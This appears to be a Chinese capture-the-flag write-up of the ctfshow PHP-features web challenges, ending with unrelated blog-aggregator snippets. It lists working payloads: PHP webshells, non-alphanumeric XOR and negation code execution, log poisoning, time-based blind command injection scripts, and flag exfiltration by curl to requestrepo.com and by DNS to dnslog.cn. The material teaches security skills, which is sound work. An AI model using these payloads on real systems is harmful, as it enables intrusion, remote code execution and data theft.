ctfshow web入门 php特性总结

1.web89

intval函数的利用,intval函数获取变量的整数值,失败时返回0,空的数组返回,非空数组返回1
num[]=1

intval ( mixed $var [, int $base = 10 ] ) : int
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

2.web90

intval函数的利用,怎么进行取整,php强类型比较

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格

3.web91

利用的正则表达式的多行匹配if(preg_match(/^php/im,KaTeX parse error: Expected '}', got 'EOF' at end of input: …match(/^php/i),a){echo ‘hacker’;}}
第一个开启了多行匹配

a%0aphp

4.web92

php弱类型比较和intval取整,ph弱类型比较会进行类型转换
只能使用进制绕过了

intval('0x117c')==4476    16进制
intval('010574')==4476    8进制
intval(' 010574')==4476   8进制+空格

5.web93

php弱类型比较和intval取整,过滤了字母
使用8进制

intval('010574')==4476    8进制
intval(' 010574')==4476   8进制+空格

6.web94

php强类型比较和intval取整,过滤了字母和0,if(!strpos($a,‘0’)){die (‘no no’);}
strpos — 查找字符串首次出现的位置,不能使用8进制了,但是可以使用空格+8进制

intval(' 010574')==4476   8进制+空格
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号

7.web95

php强类型比较和intval取整,过滤了字母和0还有点

intval(' 010574')==4476   8进制+空格

8.web96

目录遍历

./flag.php
/var/www/html/flag.php

9.web97

md5值比较,数字不相等但是md5值相等,可以用数组绕过
数组的md5值为null

a[]=1&a[]=2

10.web98

&引用,表示不同变量名的值指向同一个值,get变量被post变量覆盖

get:1=1 post:HTTP_FLAG=flag

11.web99

in_arry弱类型比较和rand(min,max)返回min到max之间的一个随机数([min,max]),arry_push往数组末尾添加一个数
in_array延用了php中的==

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));#true

新加进去的随机数字每次都包含1,1存在的几率是最大的

n=1.php post:content=<?php eval($_POST[1]);?>

12.web100

and与&&的区别和反射类的使用
&&与and都表示逻辑与,||与or都表示逻辑或
优先级&&>and>=,||>or>=

<?php
$a=true and false;  #先赋值给true,后面false被忽略
var_dump($a);  返回true$a=true && false;   #现进行&&操作,之后赋值
var_dump($b);  返回false

反射类

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){echo "hello</br>";
}
}
$a=new ReflectionClass('A');var_dump($a->getConstants());  获取一组常量
输出array(1) {["PI"]=>float(3.14)
}var_dump($a->getName());    获取类名
输出
string(1) "A"var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {["flag"]=>string(15) "flag{123123123}"
}var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {[0]=>object(ReflectionMethod)#2 (2) {["name"]=>string(5) "hello"["class"]=>string(1) "A"}
}
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/

13.web101

and与&&的区别和反射类的使用,过滤变多了,命令执行不了了,为啥反射类可利用,通过读取ctfshow.php发现flag是一个变量名
在这里插入图片描述

v1=1&v2=echo new ReflectionClass&v3=;

14.web102

bin2hex的使用,call_user_func
call_user_func — 把第一个参数作为回调函数调用,其余是参数

<?php
error_reporting(E_ALL);
function increment(&$var)
{$var++;
}$a = 0;
call_user_func('increment', $a);
echo $a."\n";    #0call_user_func_array('increment', array(&$a)); // You can use this instead before PHP 5.3
echo $a."\n";    #1
?> 

v2必须有数字

$a='<?=`cat *`;';       //为什么用这个,主要是因为编码后带e,或者是编码后全部是数字
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
//输出   5044383959474e6864434171594473
带e会被当做科学计数法,而base64去掉等号,不影响解码
bin2hex把ascii码转为16进制
php5中is_numeric函数认识16进制数,而php7这个函数不识别16进制数,
hex2bin将16进制转换为ascii码,<?php eval($_POST[1]);?>的16进制编码为0x3c3f706870206576616c28245f504f53545b315d293b3f3e
php5:
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
之后访问1.php
php7:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
post: v1=hex2bin
需要随便填充一些数字,从第二个字符开始截取的(也就是第三个,是从0开始的)
之后访问1.php

15.web103

和web102一样

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post     v1=hex2bin

16.web104

sha1弱比较,出错了

v2=1
post v1=1

17.web105

变量覆盖,die可以带出数据
考查的是
变量覆盖,die可以带出数据,输出一条消息,退出脚本
变量覆盖是把变量的值当作另一个变量的名

$a='b';
$aa='c';
echo $a;    #b
echo $b;    #c
echo $$a;  #c

分析:
有两个地方有变量覆盖,有两个die函数输出,最后一个die函数要用的话,必须设置flag,但是设置flag后就只有进行变量覆盖了,所以只能用第一个die函数里的error,需要考虑怎么通过变量覆盖使变量error和变量flag相等,还需要借助变量suces

当get 方式传入suces=flag,$key=suces,$value=flag 
foreach($_GET as $key => $value){$$key=$$value;    #变成了$suces=$flag,$suces的值是flag的值}
当post传入error=suces,$key=error,$value=suces
foreach($_POST as $key => $value){$$key=$$value;  #变成了$error=$flag,$error的值是flag的值
}
get   suces=flag
post  error=suces

18.web106

sha1弱比较,数组课绕过

v2[]=1
v1[]=2
或者v1和v2随便用下面的一个,科学计数法为0
aaroZmOk     0e76658526655756207688271159624026011393
aaK1STfY     0e66507019969427134894567494305185566735
aaO8zKZF
aa3OFF9m

19.web107

md5弱比较,parse_str
数组绕过,md5不处理数组,返回null,v1不输入业返回null

parse_str将字符串解析成多个变量$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
v3[]=1
v1=

20.web108

ereg %00截断, strrev()
strrev() 反转字符串

<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?> 

ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值

c=a%00778

21.web109

原生类利用,异常类和反射类
类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控

class a{
public $b;
public function __constrcut($a){$this->b=$a
}
public funciton __toString(){
return $this->b;
}
}
$c=echo new a('aaa');
#v1=a
#v2=aaa

echo new Exception(system(‘echo phpinfo’)())
会先输出phpinfo,之后在执行phpinfo,最后抛出异常,需要执行完函数把函数的结果在通过异常进行抛出,执行顺序为什么时这样的因为不是这样的Exception(“system(‘echo phpinfo’)()”),不是当作一个整体进行输出,需要执行完才能把命令执行的结果当作整体进行输出

v1=Exception();system('tac f*');//&v2=a
v1=Exception&v2=system('tac f*'));//
v1=ReflectionClass&v2=system('tac f*')

22.web110

FilesystemIterator类利用
getcwd获取当前目录,DirectoryIterator遍历目录,文件名称(. … 1.c) FilesystemIterator遍历目录名+文件(/1.c),echo new DirectoryIterator(getcwd())只输出第一个
都是获取目录下的文件

v1=FilesystemIterator&v2=getcwd

23.web111

$GLOBALS 超全局变量利用
$GLOBALS —包含全局作用域中可用的全部变量
$v2=GLOBALS
$$v2=$GLOBALS
&$ v 2 表示取 v2表示取 v2表示取GLOBALS的所有值
&引用表示不同变量指向同一值

$a='djkad';
$b=&a;
echo $b;   #djkad
echo $a;   #djkad
var_dump($GLOBALS);  #会输出$a,$b的值等
v1=ctfshow&v2=GLOBALS

24.web112

伪协议绕过is_file

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

25.web113

/proc/self/root的用法和伪协议绕过is_file

/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
在这里插入图片描述

compress.zlib://flag.php /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php

26.web114

伪协议绕过is_file

php://filter/resource=/flag

27.web115

trim和is_numeric的绕过

string trim( string $str[, string $character_mask = " \t\n\r\0\x0B"] )
此函数返回字符串 str 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符: 
◦ " " (ASCII 32 (0x20)),普通空格符。  
◦ "\t" (ASCII 9 (0x09)),制表符。  
◦ "\n" (ASCII 10 (0x0A)),换行符。  
◦ "\r" (ASCII 13 (0x0D)),回车符。  
◦ "\0" (ASCII 0 (0x00)),空字节符。  
◦ "\x0B" (ASCII 11 (0x0B)),垂直制表符。 

如何绕过is_numeric
除了数字和±.号以外还有 %09 %0a %0b %0c %0d %20
绕过trim和is_numeric
只有%0c

%0c36

28.web123

考查的$_SERVER变量和php变量名的转换 命令执行

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、[,+、点转换为下划线,而传入[之后后面的空格、[,+、点就不会被转为下划线了

$_SERVER变量

1.cli模式(命令行)下
第一个参数$_SERVER[‘argv’][0]是脚本名,其余的是传递给脚本的参数
2.web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务, S E R V E R [ ‘ a r g v ’ ] 才会有效果这时候的 _SERVER[‘argv’]才会有效果 这时候的 SERVER[argv]才会有效果这时候的_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
a r g v , argv, argv,argc在web模式下不适用

对于这题来说就是$a[0]= $_SERVER[‘QUERY_STRING’]

<?php
$a=$_SERVER['argv'];
var_dump($a);
#传入 a=1+fl0g=flag_give_me
#结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

parse_str

parse_str 
(PHP 4, PHP 5, PHP 7)
parse_str — 将字符串解析成多个变量
说明 
void parse_str( string $encoded_string[, array &$result] )
如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";// 推荐用法
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
?>
1.
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
2.
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
3.
get: $fl0g=flag_give_me;
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

29.web125

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

30.web126

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

31.web127

变量名称符号转换
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、[,+、点转换为下划线,而传入[之后后面的空格、[,+、点就不会被转为下划线了

?ctf show=ilove36d

32.web128

call_user_func 代码执行,gettext和get_defined_vars 和call_user_func
call_user_func

call_user_func 
(PHP 4, PHP 5, PHP 7)
call_user_func — 把第一个参数作为回调函数调用
说明 
mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 参数 
callback
将被调用的回调函数(callable)。 
parameter
0个或以上的参数,被传入回调函数。 

gettext

string gettext( string $message) 返回输入的字符
_()==gettext() 是gettext()的拓展函数,开启text扩展,_是gettext的别名。需要php扩展目录下有php_gettext.dllecho gettext("Welcome to My PHP Application");

get_defined_vars()

get_defined_vars — 返回由所有已定义变量所组成的数组
?f1=_&f2=get_defined_vars

33.web129

目录穿越和stripos 用法

stripos

stripos 
(PHP 5, PHP 7)
stripos — 查找字符串首次出现的位置(不区分大小写)
说明 
mixed stripos( string $haystack, string $needle[, int $offset = 0] )
返回在字符串 haystack 中 needle 首次出现的数字位置。 
与 strpos() 不同,stripos() 不区分大小写。 参数 
haystack
在该字符串中查找。 
needle
注意 needle 可以是一个单字符或者多字符的字符串。 
如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。 
offset
可选的 offset 参数,从字符此数量的开始位置进行搜索。如果是负数,就从字符末尾此数量的字符数开始统计。 返回值 
返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。 
如果未发现 needle 将返回 FALSE。 
?f=/ctfshow/../../../../var/www/html/flag.php 

34.web130

正则匹配的绕过
1.正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
python脚本

import requests
url=""
data={'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data)
print(r.text)

2.直接绕过

f=ctfshow

35.web131

正则匹配的绕过

import requests
url=""
data={'f':'very'*250000+'360Dctfshow' } r=requests.post(url,data=data)
print(r.text)

36.web132

短路运算符 &&和||

username=admin&password=aa&code=admin

37.web133

无回显的shell_exec命令执行

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的命令执行题目了

写文件试了不行,应该是没权限
通过curl进行外带,curl只能带出一排数据,可以直接筛选flag进行带出
利用的平台是https://requestrepo.com/

F=`$F%20`;curl%20http://1gfmb9cm.requestrepo.com?1=`cat%20f*|grep%20flag`

38.web134

POST数组的覆盖

<?php
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);?>
然后我们传入 _POST[‘a’]=123
会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123
题目中还有个extract($_POST)
extract() 函数从数组中将变量导入到当前的符号表,也就是说把键名当作变量名,值作为变量的值
这样的话 $a==123
_POST[key1]=36d&_POST[key2]=36d

39.web135

1.
访问1.txt即可
F=`$F `;cp flag.php 1.txt 
2.ping外带
`cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
awk利用NR一排排的带数据

40.web136

考察无回显的命令执行 使用linux中的tee命令

: ls /|tee 1           访问1下载查看文件1发现根目录下有flag
cat /f149_15_h3r3|tee 2     访问下载查看文件2

41.web137

考查call_user_func调用类的静态方法 ::调用
call_user_func

<?php
class myclass {static function say_hello(){echo "Hello!\n";}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); 
?>
 ctfshow=ctfshow::getFlag

42.web138

考查call_user_func调用类的静态方法 数组传入调用

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

43.web139

文件盲注
使用盲注的方式,跟sql的时间盲注差不多,这里利用的时linux的shell语法

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):         #知道flag在第四行,实际情况中把数字写大一些key=0for j in range(1,15):     #文件名的长度大小if key==1:breakfor n in str:payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)breakif n=='9':key=1result+=" "
得出flag在根目录下的f149_15_h3r3中,继续盲注得出flag值
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
#key=0                      #key我感觉可以不用加
for j in range(1,45):
#	if key==1:
#		break   for n in str:payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)break

awk nr从第几行开始
在这里插入图片描述
cut截取字符第几个字符
在这里插入图片描述

44.web140

弱类型比较,intval把非零数字转为0,而后面的ctfshow会进行类型转换,也会转换为0

f1=md5&f2=md5
f1=usleep&f2=usleep
f1=md5&f2=sleep
f1=sha1&f2=md5

45.web141

无字母数字的命令执行
或,异或,取反等运算都可以

v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%00"^"%60%60%7c%20%60%2a");

46.web143

无字母数字的命令执行
或,异或等运算都可以

v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*

47.web145

无字母数字的命令执行
或,取反等运算都可以 三目运算符的使用
或,异或,取反命令构造脚本

#system('cat f*');
v1=1&v2=0&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):

48.web146

无字母数字的命令执行
或,取反等运算都可以位运算符逻辑运算符的使用

v1=1&v2=0&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
v1=1&v2=0&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|

web141-web146 无字母数字命令执行 或,异或,取反等运算符的使用
+,-,*,/,|,||,==,&,&& 绕过return,可以和函数一起使用

eval(return 1+phpinfo()+1)
eval(return 1|phpinfo()|1)
eval(return 1==phpinfo()||1)

49.web147

create_funciton的用法

if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)

%5c()绕过正则
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
create_funciton

create_function('$a','echo $a."123"')
类似于
function f($a) {echo $a."123";
}
GET ?show=;};system('cat f*');//
POST ctf=%5ccreate_function

50.web148

无字母数字命令执行
异或运算(中文变量)

1.
("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");2.
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其实也是利用异或构造
"`{{{"^"?<>/"; 异或出来的结果是 _GET

51.web149

条件竞争

ctf=1.php
show=<?php system('tac /c*';)?>

burp 抓包发送到intruder 一个不断发送上面数据 位置不设 payload 设为null 另一个不断访问1.php
在这里插入图片描述

非预期

ctf=index.php
show=<?php eval($_POST[1]);?>

52.web150

strrpos查找最后出现的位置,没有为flase
===优先级高于&&
extract导入当前符号表,也就是变量覆盖
$_SERVER [‘QUERY_STRING’] 表示获取get和post 中的参数和值
非预期 日志包含

ua <?php eval($_POST[1])?>get  isVIP=TRUE
post  ctf=/var/log/nginx/access.log&1=system('cat f*');

53.web150 plus

__autoload的函数在不在ctfshow类中
__autoload加载未定义的类,即进行类函数判断时会调用这个函数
__autoload函数会执行这个变量class
需要先构造__CTFSHOW__但是_被过滤了,.可以绕过,构造了这个变量
…CTFSHOW…,需要进行传值,因为原先并没有,而extract函数可以覆盖原先的变量,就变为了$CTFSHOW=phpinfo,class变量就是__ctfshow__变量,class的值为phpinfo,最后就会执行phpinfo

__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW…=phpinfo就可以看到phpinfo信息啦
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

get
..CTFSHOW..=phpinfo

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/738398.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【工具】Git的介绍与安装

目录 前言 1W&#xff1a;什么是Git&#xff1f; 2W&#xff1a;为什么使用Git&#xff1f; 3W&#xff1a;如何使用Git&#xff1f; Git的安装步骤 测试 3.1 桌面空白部分鼠标右击 3.2 选择 Open Git Bash here 3.3 输入 git -v 命令查看版本 Git区域分布 Git的工作…

软件无线电系列——软件无线电的发展历程及体系框架

本节目录 一、软件无线电的起始 二、软件无线电SDR论坛 三、SPEAKeasy计划 四、JTRS与SCA 五、软件无线电体系框架本节内容 一、软件无线电的起始 1992年5月&#xff0c;美国电信会议上&#xff0c;Joseph Mitola III博士提出来软件无线电(Software Radio,SR)的概念。理想化的…

Qt/QML编程之路:fork、vfork、exec、clone的对比及使用(46)

前言: 系统调用system call是OS提供的服务提供接口。系统调用fork()、vfork()、exec()和clone()都用于创建和操作进程。Linux下Qt编程也会用到vfork进行多进程间通信。让我们看一下以下每个系统调用的概述和比较: fork()、vfork()和clone()的工作原理相似,但在处…

【Vue】.sync 修饰符作用

文章目录 基本用法 基本用法 官方文档是这样介绍的&#xff1a;.sync 修饰符 简单来说就是实现父子组件数据之间的双向绑定&#xff0c;当子组件修改了一个 props 的值时&#xff0c;也会同步到父组件中&#xff0c;实现子组件同步修改父组件&#xff0c;与v-model类似。类别在…

计算机网络面经八股-什么是 SYN洪泛攻击?如何防范?

SYN洪泛攻击属于 DOS 攻击的一种&#xff0c;它利用 TCP 协议缺陷&#xff0c;通过发送大量的半连接请求&#xff0c;耗费 CPU 和内存资源。 原理&#xff1a; 在三次握手过程中&#xff0c;服务器发送 [SYN/ACK] 包&#xff08;第二个包&#xff09;之后、收到客户端的 [ACK…

狂飙Linux平台,PostgreSQL16部署大全

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 哈喽&#xff01;大家好&#xff0c;我是【IT邦德】&#xff0c;江湖人称jeames007&#xff0c;10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】&#xff01;&#x1f61c;&am…

VUE学习第三篇----VUE实例

1、当一个 Vue 实例被创建时&#xff0c;它将 data 对象中的所有的 property 加入到 Vue 的响应式系统中。当这些 property 的值发生改变时&#xff0c;视图将会产生“响应”&#xff0c;即匹配更新为新的值。 html网页文件如下所示&#xff1a; <html> <head> &…

JavaSE——面向对象高级一(3/4)-面向对象三大特征之二:继承(初步认识继承、了解继承的好处)

目录 认识继承 继承的好处 认识继承 什么是继承&#xff1f; Java中提供了一个关键字extends&#xff0c;用这个关键字&#xff0c;可以让一个类和另一个类建立起父子关系。 例如&#xff1a; public class B extends A{} 此时A类就称为父类&#xff08;基类或超类&…

MySQL Connector连接失败之SSL connection error: protocol version mismatch

调用 mysql_real_connect&#xff08;&#xff09; 连接失败&#xff0c;报错为ERROR 2026 (HY000): SSL connection error: protocol version mismatch 调用mysql_error&#xff08;&#xff09;查看失败原因&#xff0c;结果为 SSL connection error: protocol version …

人口性别年龄分布数据、不同年龄结构、性别结构人口分布数据、乡镇街道人口分布数据

人口分布是指人口在一定时间内的空间存在形式、分布状况&#xff0c;包括各类地区总人口的分布&#xff0c;以及某些特定人口&#xff08;如城市人口、、特定的人口过程和构成&#xff08;如迁移、性别等&#xff09;的分布等。 人口分布的最大特征是不平衡性。就全世界而言&am…

Edu12 Beautiful Subarrays --- 题解

Beautiful Subarrays&#xff1a; 题目大意: 思路解析&#xff1a; 要找到一个区间并且区间的l--r里面所有的元素异或值大于等于k&#xff0c;称这样的数组是优美子数组&#xff0c;问优美子数组有多少个。 [L,R] 的数组异或和等价于 (a1,a2,a3,....aL-1) ^ (a1,a2,a3,a4,..…

CompletionService 处理异步任务

案例: public static void main(String[] args) throws Exception {ExecutorService executorService Executors.newCachedThreadPool();ArrayList<Future<Integer>> list new ArrayList<>();Future<Integer> future_15 executorService.submit(()…

【2024金三银四】

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…

不锈钢电阻器-栅极电阻器 - 为什么要使用它们呢?

常规 如果你看一个典型的吉他放大器的原理图&#xff0c;你会注意到有一个电阻器与第一个电子管的栅极串联&#xff0c;通常在68K左右&#xff0c;还有一个电阻器与功率管的栅极串联&#xff0c;通常为1.5K或5.6K&#xff0c;你可能会偶尔看到非常大的电阻&#xff0c; 例如 4…

ssm+vue的高校课程评价系统(有报告)。Javaee项目,ssm vue前后端分离项目。

演示视频&#xff1a; ssmvue的高校课程评价系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;ssm vue前后端分离项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构&…

Java各种规则引擎

一. Drools规则引擎 1.简介&#xff1a; Drools就是为了解决业务代码和业务规则分离的引擎。 Drools 规则是在 Java 应用程序上运行的&#xff0c;其要执行的步骤顺序由代码确定 &#xff0c;为了实现这一点&#xff0c;Drools 规则引擎将业务规则转换成执行树。 2.特性&…

伪分布HBase的安装与部署

1.实训目标 &#xff08;1&#xff09;熟悉掌握使用在Linux下安装伪分布式HBase。 &#xff08;2&#xff09;熟悉掌握使用在HBase伪分布式下使用自带Zookeeper。 2.实训环境 环境 版本 说明 Windows 10系统 64位 操作电脑配置 VMware 15 用于搭建所需虚拟机Linux系统 …

python-0003-pycharm开发虚拟环境中的项目

前言 在虚拟环境中创建好了python项目&#xff0c;使用pycharm进行开发 打开项目 使用pycharm打开项目 设置虚拟环境的解释器 File–>Settings–>Project(项目名)–>Python Interpreter–>添加解释器–>添加已经存在的解释器–>选择虚拟环境的解释器 …

C语言⽂件操作

1. 为什么使⽤⽂件 如果没有⽂件&#xff0c;我们写的程序的数据是存储在电脑的内存中&#xff0c;如果程序退出&#xff0c;内存回收&#xff0c;数据就丢失了&#xff0c;等再次运⾏程序&#xff0c;是看不到上次程序的数据的&#xff0c;如果要将数据进⾏持久化的保存&…

vscode设置setting.json

{ // vscode默认启用了根据文件类型自动设置tabsize的选项 "editor.detectIndentation": false, // 重新设定tabsize "editor.tabSize": 2, // #每次保存的时候自动格式化 // "editor.formatOnSave": true, // #每次保存的时候将代码按eslint格式…